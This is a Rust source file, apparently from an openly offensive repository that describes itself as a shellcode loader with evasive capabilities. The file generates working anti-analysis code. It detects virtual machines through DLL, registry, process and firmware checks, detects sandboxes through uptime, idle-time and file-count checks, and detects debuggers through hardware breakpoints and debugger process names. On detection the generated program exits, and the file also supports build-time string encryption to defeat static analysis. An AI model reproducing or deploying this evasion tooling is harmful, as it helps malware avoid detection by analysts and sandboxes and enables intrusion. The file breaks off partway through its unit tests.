myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

evasion.rs (27593B)

      1 // Evasion module - Anti-analysis detection functions
      2 //
      3 // String encryption is now supported for evasion checks when --with-string-encryption is enabled.
      4 // Static strings (registry paths, DLL names, process names, etc.) are encrypted at build time
      5 // and decrypted at runtime to prevent static analysis.
      6 //
      7 // UPDATE 2026-01-01: Extern declarations have been centralized and string encryption implemented.
      8 
      9 /// Generate centralized extern declarations for evasion checks
     10 pub fn generate_evasion_externs() -> String {
     11     r#"
     12 #[repr(C)]
     13 struct MemoryStatusEx {
     14     length: u32,
     15     memory_load: u32,
     16     total_phys: u64,
     17     avail_phys: u64,
     18     total_page_file: u64,
     19     avail_page_file: u64,
     20     total_virtual: u64,
     21     avail_virtual: u64,
     22     avail_extended_virtual: u64,
     23 }
     24 
     25 #[repr(C)]
     26 struct LastInputInfo {
     27     size: u32,
     28     time: u32,
     29 }
     30 
     31 #[repr(C)]
     32 struct Context {
     33     context_flags: u32,
     34     dr0: usize,
     35     dr1: usize,
     36     dr2: usize,
     37     dr3: usize,
     38     dr6: usize,
     39     dr7: usize,
     40     _padding: [u8; 512],
     41 }
     42 
     43 #[link(name = "kernel32")]
     44 extern "system" {
     45     fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void;
     46     fn IsDebuggerPresent() -> i32;
     47     fn CheckRemoteDebuggerPresent(
     48         process: *mut std::ffi::c_void,
     49         present: *mut i32,
     50     ) -> i32;
     51     fn GetCurrentProcess() -> *mut std::ffi::c_void;
     52     fn GetCurrentThread() -> *mut std::ffi::c_void;
     53     fn GetThreadContext(
     54         thread: *mut std::ffi::c_void,
     55         context: *mut Context,
     56     ) -> i32;
     57     fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32;
     58     fn GetTickCount() -> u32;
     59     fn GetTickCount64() -> u64;
     60 }
     61 
     62 #[link(name = "user32")]
     63 extern "system" {
     64     fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;
     65 }
     66 
     67 #[link(name = "ntdll")]
     68 extern "system" {
     69     fn NtQueryInformationProcess(
     70         process_handle: *mut std::ffi::c_void,
     71         process_information_class: u32,
     72         process_information: *mut std::ffi::c_void,
     73         process_information_length: u32,
     74         return_length: *mut u32,
     75     ) -> i32;
     76 }
     77 "#
     78     .to_string()
     79 }
     80 
     81 pub fn anti_vm_checks() -> String {
     82     r#"
     83 fn check_vm_artifacts() -> bool {
     84     unsafe {
     85         let vm_dlls = [
     86             b"vmGuestLib.dll\0".as_ptr() as *const i8,
     87             b"vboxmrxnp.dll\0".as_ptr() as *const i8,
     88             b"VBoxHook.dll\0".as_ptr() as *const i8,
     89             b"vmmouse.sys\0".as_ptr() as *const i8,
     90             b"vmhgfs.dll\0".as_ptr() as *const i8,
     91         ];
     92 
     93         for dll in vm_dlls.iter() {
     94             if !GetModuleHandleA(*dll).is_null() {
     95                 return true;
     96             }
     97         }
     98     }
     99     false
    100 }
    101 
    102 fn check_vm_registry() -> bool {
    103     use std::process::Command;
    104 
    105     let vm_keys = [
    106         r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
    107         r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
    108         r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
    109         r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
    110         r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
    111         r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
    112     ];
    113 
    114     for key in vm_keys.iter() {
    115         if let Ok(output) = Command::new("reg").args(&["query", key]).output() {
    116             if output.status.success() {
    117                 return true;
    118             }
    119         }
    120     }
    121     false
    122 }
    123 
    124 fn check_vm_processes() -> bool {
    125     use std::process::Command;
    126 
    127     let vm_processes = [
    128         "vmtoolsd.exe",
    129         "vmwaretray.exe",
    130         "vmwareuser.exe",
    131         "VGAuthService.exe",
    132         "vmacthlp.exe",
    133         "vboxservice.exe",
    134         "vboxtray.exe",
    135         "xenservice.exe",
    136         "qemu-ga.exe",
    137     ];
    138 
    139     if let Ok(output) = Command::new("tasklist").output() {
    140         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
    141         for process in vm_processes.iter() {
    142             if output_str.contains(&process.to_lowercase()) {
    143                 return true;
    144             }
    145         }
    146     }
    147     false
    148 }
    149 
    150 fn check_vm_cpu_count() -> bool {
    151     use std::env;
    152 
    153     if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {
    154         if let Ok(count) = num_cpus.parse::<u32>() {
    155             if count < 2 {
    156                 return true;
    157             }
    158         }
    159     }
    160     false
    161 }
    162 
    163 fn check_vm_memory() -> bool {
    164     unsafe {
    165         let mut meminfo = MemoryStatusEx {
    166             length: std::mem::size_of::<MemoryStatusEx>() as u32,
    167             memory_load: 0,
    168             total_phys: 0,
    169             avail_phys: 0,
    170             total_page_file: 0,
    171             avail_page_file: 0,
    172             total_virtual: 0,
    173             avail_virtual: 0,
    174             avail_extended_virtual: 0,
    175         };
    176 
    177         if GlobalMemoryStatusEx(&mut meminfo) != 0 {
    178             let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
    179             if total_ram_gb < 2 {
    180                 return true;
    181             }
    182         }
    183     }
    184     false
    185 }
    186 
    187 fn check_vm_firmware() -> bool {
    188     use std::process::Command;
    189 
    190     if let Ok(output) = Command::new("wmic")
    191         .args(&["bios", "get", "manufacturer"])
    192         .output()
    193     {
    194         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
    195         let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
    196         for vendor in vm_vendors.iter() {
    197             if output_str.contains(vendor) {
    198                 return true;
    199             }
    200         }
    201     }
    202     false
    203 }
    204 
    205 fn detect_vm() -> bool {
    206     check_vm_artifacts()
    207         || check_vm_registry()
    208         || check_vm_processes()
    209         || check_vm_cpu_count()
    210         || check_vm_memory()
    211         || check_vm_firmware()
    212 }
    213 "#
    214     .to_string()
    215 }
    216 
    217 pub fn anti_sandbox_checks() -> String {
    218     r#"
    219 fn check_sandbox_user_interaction() -> bool {
    220     use std::time::{Duration, Instant};
    221 
    222     unsafe {
    223         let mut info = LastInputInfo {
    224             size: std::mem::size_of::<LastInputInfo>() as u32,
    225             time: 0,
    226         };
    227 
    228         if GetLastInputInfo(&mut info) != 0 {
    229             let current_time = GetTickCount();
    230             let idle_time = current_time - info.time;
    231             if idle_time < 60000 {
    232                 return false;
    233             }
    234         }
    235     }
    236     true
    237 }
    238 
    239 fn check_sandbox_timing() -> bool {
    240     use std::time::Instant;
    241 
    242     let iterations = 10;
    243     let mut timings = Vec::new();
    244 
    245     for _ in 0..iterations {
    246         let start = Instant::now();
    247         let mut sum = 0u64;
    248         for i in 0..100000 {
    249             sum = sum.wrapping_add(i);
    250         }
    251         let elapsed = start.elapsed().as_nanos();
    252         timings.push(elapsed);
    253     }
    254 
    255     if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {
    256         if avg < 1000 {
    257             return true;
    258         }
    259     }
    260     false
    261 }
    262 
    263 fn check_sandbox_file_count() -> bool {
    264     use std::fs;
    265 
    266     if let Ok(entries) = fs::read_dir("C:\\Windows\\System32") {
    267         let count = entries.count();
    268         if count < 100 {
    269             return true;
    270         }
    271     }
    272     false
    273 }
    274 
    275 fn check_sandbox_uptime() -> bool {
    276     unsafe {
    277         let uptime_ms = GetTickCount64();
    278         let uptime_minutes = uptime_ms / (1000 * 60);
    279         if uptime_minutes < 10 {
    280             return true;
    281         }
    282     }
    283     false
    284 }
    285 
    286 fn check_sandbox_recent_files() -> bool {
    287     use std::fs;
    288     use std::path::PathBuf;
    289 
    290     if let Ok(appdata) = std::env::var("APPDATA") {
    291         let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
    292         if let Ok(entries) = fs::read_dir(recent_path) {
    293             let count = entries.count();
    294             if count < 5 {
    295                 return true;
    296             }
    297         }
    298     }
    299     false
    300 }
    301 
    302 fn detect_sandbox() -> bool {
    303     check_sandbox_user_interaction()
    304         || check_sandbox_timing()
    305         || check_sandbox_file_count()
    306         || check_sandbox_uptime()
    307         || check_sandbox_recent_files()
    308 }
    309 "#
    310     .to_string()
    311 }
    312 
    313 pub fn anti_debugger_checks() -> String {
    314     r#"
    315 fn check_debugger_present() -> bool {
    316     unsafe {
    317         IsDebuggerPresent() != 0
    318     }
    319 }
    320 
    321 fn check_remote_debugger() -> bool {
    322     unsafe {
    323         let mut is_present: i32 = 0;
    324         let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
    325         result != 0 && is_present != 0
    326     }
    327 }
    328 
    329 fn check_debug_port() -> bool {
    330     unsafe {
    331         let mut debug_port: usize = 0;
    332         let status = NtQueryInformationProcess(
    333             GetCurrentProcess(),
    334             7,
    335             &mut debug_port as *mut usize as *mut std::ffi::c_void,
    336             std::mem::size_of::<usize>() as u32,
    337             std::ptr::null_mut(),
    338         );
    339 
    340         status == 0 && debug_port != 0
    341     }
    342 }
    343 
    344 fn check_hardware_breakpoints() -> bool {
    345     unsafe {
    346         let mut context = Context {
    347             context_flags: 0x00010000 | 0x00000010,
    348             dr0: 0,
    349             dr1: 0,
    350             dr2: 0,
    351             dr3: 0,
    352             dr6: 0,
    353             dr7: 0,
    354             _padding: [0; 512],
    355         };
    356 
    357         if GetThreadContext(GetCurrentThread(), &mut context) != 0 {
    358             if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {
    359                 return true;
    360             }
    361         }
    362     }
    363     false
    364 }
    365 
    366 fn check_parent_process() -> bool {
    367     use std::process::Command;
    368 
    369     if let Ok(output) = Command::new("tasklist")
    370         .args(&["/v", "/fo", "csv"])
    371         .output()
    372     {
    373         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
    374         let debugger_parents = ["devenv.exe", "windbg.exe", "x64dbg.exe", "ollydbg.exe", "ida64.exe"];
    375         for parent in debugger_parents.iter() {
    376             if output_str.contains(parent) {
    377                 return true;
    378             }
    379         }
    380     }
    381     false
    382 }
    383 
    384 fn detect_debugger() -> bool {
    385     check_debugger_present()
    386         || check_remote_debugger()
    387         || check_debug_port()
    388         || check_hardware_breakpoints()
    389         || check_parent_process()
    390 }
    391 "#
    392     .to_string()
    393 }
    394 
    395 pub fn generate_evasion_check_call(
    396     anti_vm: bool,
    397     anti_sandbox: bool,
    398     anti_debugger: bool,
    399 ) -> String {
    400     let mut checks = Vec::new();
    401 
    402     if anti_vm {
    403         checks.push("detect_vm()");
    404     }
    405     if anti_sandbox {
    406         checks.push("detect_sandbox()");
    407     }
    408     if anti_debugger {
    409         checks.push("detect_debugger()");
    410     }
    411 
    412     if checks.is_empty() {
    413         return String::new();
    414     }
    415 
    416     format!(
    417         r#"
    418     if {} {{
    419         std::process::exit(1);
    420     }}
    421 "#,
    422         checks.join(" || ")
    423     )
    424 }
    425 
    426 /// Generate anti-VM checks with encrypted strings
    427 pub fn anti_vm_checks_with_encryption(
    428     vm_dll_arrays: &[String],
    429     vm_registry_arrays: &[String],
    430     vm_process_arrays: &[String],
    431     vm_vendor_arrays: &[String],
    432     decrypt_fn: &str,
    433     expect_clause: &str,
    434 ) -> String {
    435     format!(
    436         r#"
    437 fn check_vm_artifacts() -> bool {{
    438     unsafe {{
    439         const ENCRYPTED_VM_DLL_0: &[u8] = &{};
    440         const ENCRYPTED_VM_DLL_1: &[u8] = &{};
    441         const ENCRYPTED_VM_DLL_2: &[u8] = &{};
    442         const ENCRYPTED_VM_DLL_3: &[u8] = &{};
    443         const ENCRYPTED_VM_DLL_4: &[u8] = &{};
    444         
    445         let dll_0 = {}(ENCRYPTED_VM_DLL_0, &DECRYPTION_KEY){};
    446         let dll_1 = {}(ENCRYPTED_VM_DLL_1, &DECRYPTION_KEY){};
    447         let dll_2 = {}(ENCRYPTED_VM_DLL_2, &DECRYPTION_KEY){};
    448         let dll_3 = {}(ENCRYPTED_VM_DLL_3, &DECRYPTION_KEY){};
    449         let dll_4 = {}(ENCRYPTED_VM_DLL_4, &DECRYPTION_KEY){};
    450         
    451         let vm_dlls = [
    452             dll_0.as_ptr() as *const i8,
    453             dll_1.as_ptr() as *const i8,
    454             dll_2.as_ptr() as *const i8,
    455             dll_3.as_ptr() as *const i8,
    456             dll_4.as_ptr() as *const i8,
    457         ];
    458 
    459         for dll in vm_dlls.iter() {{
    460             if !GetModuleHandleA(*dll).is_null() {{
    461                 return true;
    462             }}
    463         }}
    464     }}
    465     false
    466 }}
    467 
    468 fn check_vm_registry() -> bool {{
    469     use std::process::Command;
    470 
    471     const ENCRYPTED_VM_KEY_0: &[u8] = &{};
    472     const ENCRYPTED_VM_KEY_1: &[u8] = &{};
    473     const ENCRYPTED_VM_KEY_2: &[u8] = &{};
    474     const ENCRYPTED_VM_KEY_3: &[u8] = &{};
    475     const ENCRYPTED_VM_KEY_4: &[u8] = &{};
    476     const ENCRYPTED_VM_KEY_5: &[u8] = &{};
    477     
    478     let key_0 = {}(ENCRYPTED_VM_KEY_0, &DECRYPTION_KEY){};
    479     let key_1 = {}(ENCRYPTED_VM_KEY_1, &DECRYPTION_KEY){};
    480     let key_2 = {}(ENCRYPTED_VM_KEY_2, &DECRYPTION_KEY){};
    481     let key_3 = {}(ENCRYPTED_VM_KEY_3, &DECRYPTION_KEY){};
    482     let key_4 = {}(ENCRYPTED_VM_KEY_4, &DECRYPTION_KEY){};
    483     let key_5 = {}(ENCRYPTED_VM_KEY_5, &DECRYPTION_KEY){};
    484     
    485     let vm_keys = [
    486         String::from_utf8_lossy(&key_0).to_string(),
    487         String::from_utf8_lossy(&key_1).to_string(),
    488         String::from_utf8_lossy(&key_2).to_string(),
    489         String::from_utf8_lossy(&key_3).to_string(),
    490         String::from_utf8_lossy(&key_4).to_string(),
    491         String::from_utf8_lossy(&key_5).to_string(),
    492     ];
    493 
    494     for key in vm_keys.iter() {{
    495         if let Ok(output) = Command::new("reg").args(&["query", key]).output() {{
    496             if output.status.success() {{
    497                 return true;
    498             }}
    499         }}
    500     }}
    501     false
    502 }}
    503 
    504 fn check_vm_processes() -> bool {{
    505     use std::process::Command;
    506 
    507     const ENCRYPTED_VM_PROC_0: &[u8] = &{};
    508     const ENCRYPTED_VM_PROC_1: &[u8] = &{};
    509     const ENCRYPTED_VM_PROC_2: &[u8] = &{};
    510     const ENCRYPTED_VM_PROC_3: &[u8] = &{};
    511     const ENCRYPTED_VM_PROC_4: &[u8] = &{};
    512     const ENCRYPTED_VM_PROC_5: &[u8] = &{};
    513     const ENCRYPTED_VM_PROC_6: &[u8] = &{};
    514     const ENCRYPTED_VM_PROC_7: &[u8] = &{};
    515     const ENCRYPTED_VM_PROC_8: &[u8] = &{};
    516     
    517     let proc_0 = {}(ENCRYPTED_VM_PROC_0, &DECRYPTION_KEY){};
    518     let proc_1 = {}(ENCRYPTED_VM_PROC_1, &DECRYPTION_KEY){};
    519     let proc_2 = {}(ENCRYPTED_VM_PROC_2, &DECRYPTION_KEY){};
    520     let proc_3 = {}(ENCRYPTED_VM_PROC_3, &DECRYPTION_KEY){};
    521     let proc_4 = {}(ENCRYPTED_VM_PROC_4, &DECRYPTION_KEY){};
    522     let proc_5 = {}(ENCRYPTED_VM_PROC_5, &DECRYPTION_KEY){};
    523     let proc_6 = {}(ENCRYPTED_VM_PROC_6, &DECRYPTION_KEY){};
    524     let proc_7 = {}(ENCRYPTED_VM_PROC_7, &DECRYPTION_KEY){};
    525     let proc_8 = {}(ENCRYPTED_VM_PROC_8, &DECRYPTION_KEY){};
    526 
    527     if let Ok(output) = Command::new("tasklist").output() {{
    528         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
    529         let vm_processes = [
    530             String::from_utf8_lossy(&proc_0).to_string().to_lowercase(),
    531             String::from_utf8_lossy(&proc_1).to_string().to_lowercase(),
    532             String::from_utf8_lossy(&proc_2).to_string().to_lowercase(),
    533             String::from_utf8_lossy(&proc_3).to_string().to_lowercase(),
    534             String::from_utf8_lossy(&proc_4).to_string().to_lowercase(),
    535             String::from_utf8_lossy(&proc_5).to_string().to_lowercase(),
    536             String::from_utf8_lossy(&proc_6).to_string().to_lowercase(),
    537             String::from_utf8_lossy(&proc_7).to_string().to_lowercase(),
    538             String::from_utf8_lossy(&proc_8).to_string().to_lowercase(),
    539         ];
    540         for process in vm_processes.iter() {{
    541             if output_str.contains(process) {{
    542                 return true;
    543             }}
    544         }}
    545     }}
    546     false
    547 }}
    548 
    549 fn check_vm_cpu_count() -> bool {{
    550     use std::env;
    551 
    552     if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {{
    553         if let Ok(count) = num_cpus.parse::<u32>() {{
    554             if count < 2 {{
    555                 return true;
    556             }}
    557         }}
    558     }}
    559     false
    560 }}
    561 
    562 fn check_vm_memory() -> bool {{
    563     unsafe {{
    564         let mut meminfo = MemoryStatusEx {{
    565             length: std::mem::size_of::<MemoryStatusEx>() as u32,
    566             memory_load: 0,
    567             total_phys: 0,
    568             avail_phys: 0,
    569             total_page_file: 0,
    570             avail_page_file: 0,
    571             total_virtual: 0,
    572             avail_virtual: 0,
    573             avail_extended_virtual: 0,
    574         }};
    575 
    576         if GlobalMemoryStatusEx(&mut meminfo) != 0 {{
    577             let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
    578             if total_ram_gb < 2 {{
    579                 return true;
    580             }}
    581         }}
    582     }}
    583     false
    584 }}
    585 
    586 fn check_vm_firmware() -> bool {{
    587     use std::process::Command;
    588 
    589     const ENCRYPTED_VM_VENDOR_0: &[u8] = &{};
    590     const ENCRYPTED_VM_VENDOR_1: &[u8] = &{};
    591     const ENCRYPTED_VM_VENDOR_2: &[u8] = &{};
    592     const ENCRYPTED_VM_VENDOR_3: &[u8] = &{};
    593     const ENCRYPTED_VM_VENDOR_4: &[u8] = &{};
    594     
    595     let vendor_0 = {}(ENCRYPTED_VM_VENDOR_0, &DECRYPTION_KEY){};
    596     let vendor_1 = {}(ENCRYPTED_VM_VENDOR_1, &DECRYPTION_KEY){};
    597     let vendor_2 = {}(ENCRYPTED_VM_VENDOR_2, &DECRYPTION_KEY){};
    598     let vendor_3 = {}(ENCRYPTED_VM_VENDOR_3, &DECRYPTION_KEY){};
    599     let vendor_4 = {}(ENCRYPTED_VM_VENDOR_4, &DECRYPTION_KEY){};
    600 
    601     if let Ok(output) = Command::new("wmic")
    602         .args(&["bios", "get", "manufacturer"])
    603         .output()
    604     {{
    605         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
    606         let vm_vendors = [
    607             String::from_utf8_lossy(&vendor_0).to_string().to_lowercase(),
    608             String::from_utf8_lossy(&vendor_1).to_string().to_lowercase(),
    609             String::from_utf8_lossy(&vendor_2).to_string().to_lowercase(),
    610             String::from_utf8_lossy(&vendor_3).to_string().to_lowercase(),
    611             String::from_utf8_lossy(&vendor_4).to_string().to_lowercase(),
    612         ];
    613         for vendor in vm_vendors.iter() {{
    614             if output_str.contains(vendor) {{
    615                 return true;
    616             }}
    617         }}
    618     }}
    619     false
    620 }}
    621 
    622 fn detect_vm() -> bool {{
    623     check_vm_artifacts()
    624         || check_vm_registry()
    625         || check_vm_processes()
    626         || check_vm_cpu_count()
    627         || check_vm_memory()
    628         || check_vm_firmware()
    629 }}
    630 "#,
    631         vm_dll_arrays[0],
    632         vm_dll_arrays[1],
    633         vm_dll_arrays[2],
    634         vm_dll_arrays[3],
    635         vm_dll_arrays[4],
    636         decrypt_fn,
    637         expect_clause,
    638         decrypt_fn,
    639         expect_clause,
    640         decrypt_fn,
    641         expect_clause,
    642         decrypt_fn,
    643         expect_clause,
    644         decrypt_fn,
    645         expect_clause,
    646         vm_registry_arrays[0],
    647         vm_registry_arrays[1],
    648         vm_registry_arrays[2],
    649         vm_registry_arrays[3],
    650         vm_registry_arrays[4],
    651         vm_registry_arrays[5],
    652         decrypt_fn,
    653         expect_clause,
    654         decrypt_fn,
    655         expect_clause,
    656         decrypt_fn,
    657         expect_clause,
    658         decrypt_fn,
    659         expect_clause,
    660         decrypt_fn,
    661         expect_clause,
    662         decrypt_fn,
    663         expect_clause,
    664         vm_process_arrays[0],
    665         vm_process_arrays[1],
    666         vm_process_arrays[2],
    667         vm_process_arrays[3],
    668         vm_process_arrays[4],
    669         vm_process_arrays[5],
    670         vm_process_arrays[6],
    671         vm_process_arrays[7],
    672         vm_process_arrays[8],
    673         decrypt_fn,
    674         expect_clause,
    675         decrypt_fn,
    676         expect_clause,
    677         decrypt_fn,
    678         expect_clause,
    679         decrypt_fn,
    680         expect_clause,
    681         decrypt_fn,
    682         expect_clause,
    683         decrypt_fn,
    684         expect_clause,
    685         decrypt_fn,
    686         expect_clause,
    687         decrypt_fn,
    688         expect_clause,
    689         decrypt_fn,
    690         expect_clause,
    691         vm_vendor_arrays[0],
    692         vm_vendor_arrays[1],
    693         vm_vendor_arrays[2],
    694         vm_vendor_arrays[3],
    695         vm_vendor_arrays[4],
    696         decrypt_fn,
    697         expect_clause,
    698         decrypt_fn,
    699         expect_clause,
    700         decrypt_fn,
    701         expect_clause,
    702         decrypt_fn,
    703         expect_clause,
    704         decrypt_fn,
    705         expect_clause,
    706     )
    707 }
    708 
    709 /// Generate anti-sandbox checks with encrypted strings
    710 pub fn anti_sandbox_checks_with_encryption(
    711     file_path_array: &str,
    712     decrypt_fn: &str,
    713     expect_clause: &str,
    714 ) -> String {
    715     format!(
    716         r#"
    717 fn check_sandbox_user_interaction() -> bool {{
    718     use std::time::{{Duration, Instant}};
    719 
    720     unsafe {{
    721         let mut info = LastInputInfo {{
    722             size: std::mem::size_of::<LastInputInfo>() as u32,
    723             time: 0,
    724         }};
    725 
    726         if GetLastInputInfo(&mut info) != 0 {{
    727             let current_time = GetTickCount();
    728             let idle_time = current_time - info.time;
    729             if idle_time < 60000 {{
    730                 return false;
    731             }}
    732         }}
    733     }}
    734     true
    735 }}
    736 
    737 fn check_sandbox_timing() -> bool {{
    738     use std::time::Instant;
    739 
    740     let iterations = 10;
    741     let mut timings = Vec::new();
    742 
    743     for _ in 0..iterations {{
    744         let start = Instant::now();
    745         let mut sum = 0u64;
    746         for i in 0..100000 {{
    747             sum = sum.wrapping_add(i);
    748         }}
    749         let elapsed = start.elapsed().as_nanos();
    750         timings.push(elapsed);
    751     }}
    752 
    753     if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {{
    754         if avg < 1000 {{
    755             return true;
    756         }}
    757     }}
    758     false
    759 }}
    760 
    761 fn check_sandbox_file_count() -> bool {{
    762     use std::fs;
    763 
    764     const ENCRYPTED_FILE_PATH: &[u8] = &{};
    765     let file_path = {}(ENCRYPTED_FILE_PATH, &DECRYPTION_KEY){};
    766     let file_path_str = String::from_utf8_lossy(&file_path).to_string();
    767 
    768     if let Ok(entries) = fs::read_dir(&file_path_str) {{
    769         let count = entries.count();
    770         if count < 100 {{
    771             return true;
    772         }}
    773     }}
    774     false
    775 }}
    776 
    777 fn check_sandbox_uptime() -> bool {{
    778     unsafe {{
    779         let uptime_ms = GetTickCount64();
    780         let uptime_minutes = uptime_ms / (1000 * 60);
    781         if uptime_minutes < 10 {{
    782             return true;
    783         }}
    784     }}
    785     false
    786 }}
    787 
    788 fn check_sandbox_recent_files() -> bool {{
    789     use std::fs;
    790     use std::path::PathBuf;
    791 
    792     if let Ok(appdata) = std::env::var("APPDATA") {{
    793         let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
    794         if let Ok(entries) = fs::read_dir(recent_path) {{
    795             let count = entries.count();
    796             if count < 5 {{
    797                 return true;
    798             }}
    799         }}
    800     }}
    801     false
    802 }}
    803 
    804 fn detect_sandbox() -> bool {{
    805     check_sandbox_user_interaction()
    806         || check_sandbox_timing()
    807         || check_sandbox_file_count()
    808         || check_sandbox_uptime()
    809         || check_sandbox_recent_files()
    810 }}
    811 "#,
    812         file_path_array, decrypt_fn, expect_clause,
    813     )
    814 }
    815 
    816 /// Generate anti-debugger checks with encrypted strings
    817 pub fn anti_debugger_checks_with_encryption(
    818     debugger_parent_arrays: &[String],
    819     decrypt_fn: &str,
    820     expect_clause: &str,
    821 ) -> String {
    822     format!(
    823         r#"
    824 fn check_debugger_present() -> bool {{
    825     unsafe {{
    826         IsDebuggerPresent() != 0
    827     }}
    828 }}
    829 
    830 fn check_remote_debugger() -> bool {{
    831     unsafe {{
    832         let mut is_present: i32 = 0;
    833         let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
    834         result != 0 && is_present != 0
    835     }}
    836 }}
    837 
    838 fn check_debug_port() -> bool {{
    839     unsafe {{
    840         let mut debug_port: usize = 0;
    841         let status = NtQueryInformationProcess(
    842             GetCurrentProcess(),
    843             7,
    844             &mut debug_port as *mut usize as *mut std::ffi::c_void,
    845             std::mem::size_of::<usize>() as u32,
    846             std::ptr::null_mut(),
    847         );
    848 
    849         status == 0 && debug_port != 0
    850     }}
    851 }}
    852 
    853 fn check_hardware_breakpoints() -> bool {{
    854     unsafe {{
    855         let mut context = Context {{
    856             context_flags: 0x00010000 | 0x00000010,
    857             dr0: 0,
    858             dr1: 0,
    859             dr2: 0,
    860             dr3: 0,
    861             dr6: 0,
    862             dr7: 0,
    863             _padding: [0; 512],
    864         }};
    865 
    866         if GetThreadContext(GetCurrentThread(), &mut context) != 0 {{
    867             if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {{
    868                 return true;
    869             }}
    870         }}
    871     }}
    872     false
    873 }}
    874 
    875 fn check_parent_process() -> bool {{
    876     use std::process::Command;
    877 
    878     const ENCRYPTED_DBG_PARENT_0: &[u8] = &{};
    879     const ENCRYPTED_DBG_PARENT_1: &[u8] = &{};
    880     const ENCRYPTED_DBG_PARENT_2: &[u8] = &{};
    881     const ENCRYPTED_DBG_PARENT_3: &[u8] = &{};
    882     const ENCRYPTED_DBG_PARENT_4: &[u8] = &{};
    883     
    884     let parent_0 = {}(ENCRYPTED_DBG_PARENT_0, &DECRYPTION_KEY){};
    885     let parent_1 = {}(ENCRYPTED_DBG_PARENT_1, &DECRYPTION_KEY){};
    886     let parent_2 = {}(ENCRYPTED_DBG_PARENT_2, &DECRYPTION_KEY){};
    887     let parent_3 = {}(ENCRYPTED_DBG_PARENT_3, &DECRYPTION_KEY){};
    888     let parent_4 = {}(ENCRYPTED_DBG_PARENT_4, &DECRYPTION_KEY){};
    889 
    890     if let Ok(output) = Command::new("tasklist")
    891         .args(&["/v", "/fo", "csv"])
    892         .output()
    893     {{
    894         let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
    895         let debugger_parents = [
    896             String::from_utf8_lossy(&parent_0).to_string().to_lowercase(),
    897             String::from_utf8_lossy(&parent_1).to_string().to_lowercase(),
    898             String::from_utf8_lossy(&parent_2).to_string().to_lowercase(),
    899             String::from_utf8_lossy(&parent_3).to_string().to_lowercase(),
    900             String::from_utf8_lossy(&parent_4).to_string().to_lowercase(),
    901         ];
    902         for parent in debugger_parents.iter() {{
    903             if output_str.contains(parent) {{
    904                 return true;
    905             }}
    906         }}
    907     }}
    908     false
    909 }}
    910 
    911 fn detect_debugger() -> bool {{
    912     check_debugger_present()
    913         || check_remote_debugger()
    914         || check_debug_port()
    915         || check_hardware_breakpoints()
    916         || check_parent_process()
    917 }}
    918 "#,
    919         debugger_parent_arrays[0],
    920         debugger_parent_arrays[1],
    921         debugger_parent_arrays[2],
    922         debugger_parent_arrays[3],
    923         debugger_parent_arrays[4],
    924         decrypt_fn,
    925         expect_clause,
    926         decrypt_fn,
    927         expect_clause,
    928         decrypt_fn,
    929         expect_clause,
    930         decrypt_fn,
    931         expect_clause,
    932         decrypt_fn,
    933         expect_clause,
    934     )
    935 }
    936 
    937 #[cfg(test)]
    938 mod tests {
    939     use super::*;
    940 
    941     #[test]
    942     fn test_anti_vm_checks_contains_vm_detection() {
    943         let code = anti_vm_checks();
    944         assert!(code.contains("detect_vm"));
    945         assert!(code.contains("check_vm_artifacts"));
    946         assert!(code.contains("check_vm_registry"));
    947         assert!(code.contains("check_vm_processes"));
    948     }
    949 
    950     #[test]
    951     fn test_anti_sandbox_checks_contains_sandbox_detection() {
    952         let code = anti_sandbox_checks();
    953         assert!(code.contains("detect_sandbox"));
    954         assert!(code.contains("check_sandbox_timing"));
    955         assert!(code.contains("check_sandbox_uptime"));
    956     }
    957 
    958     #[test]
    959     fn test_anti_debugger_checks_contains_debugger_detection() {
    960         let code = anti_debugger_checks();
    961         assert!(code.contains("detect_debugger"));
    962         assert!(code.contains("IsDebuggerPresent"));
    963         assert!(code.contains("check_hardware_breakpoints"));
    964     }
    965 
    966     #[test]
    967     fn test_generate_evasion_check_call_single_flag() {
    968         let call = generate_evasion_check_call(true, false, false);
    969         assert!(call.contains("detect_vm()"));
    970         assert!(!call.contains("detect_sandbox()"));
    971         assert!(!call.contains("detect_debugger()"));
    972     }
    973 
    974     #[test]
    975     fn test_generate_evasion_check_call_multiple_flags() {
    976         let call = generate_evasion_check_call(true, true, false);
    977         assert!(call.contains("detect_vm()"));
    978         assert!(call.contains("detect_sandbox()"));
    979         assert!(!call.contains("detect_debugger()"));
    980         assert!(call.contains("||"));
    981     }
    982 
    983     #[test]
    984     fn test_generate_evasion_check_call_all_flags() {
    985         let call = generate_evasion_check_call(true, true, true);
    986         assert!(call.contains("detect_vm()"));
    987         assert!(call.contains("detect_sandbox()"));
    988         assert!(call.contains("detect_debugger()"));
    989     }
    990 
    991     #[test]
    992     fn test_generate_evasion_check_call_no_flags() {
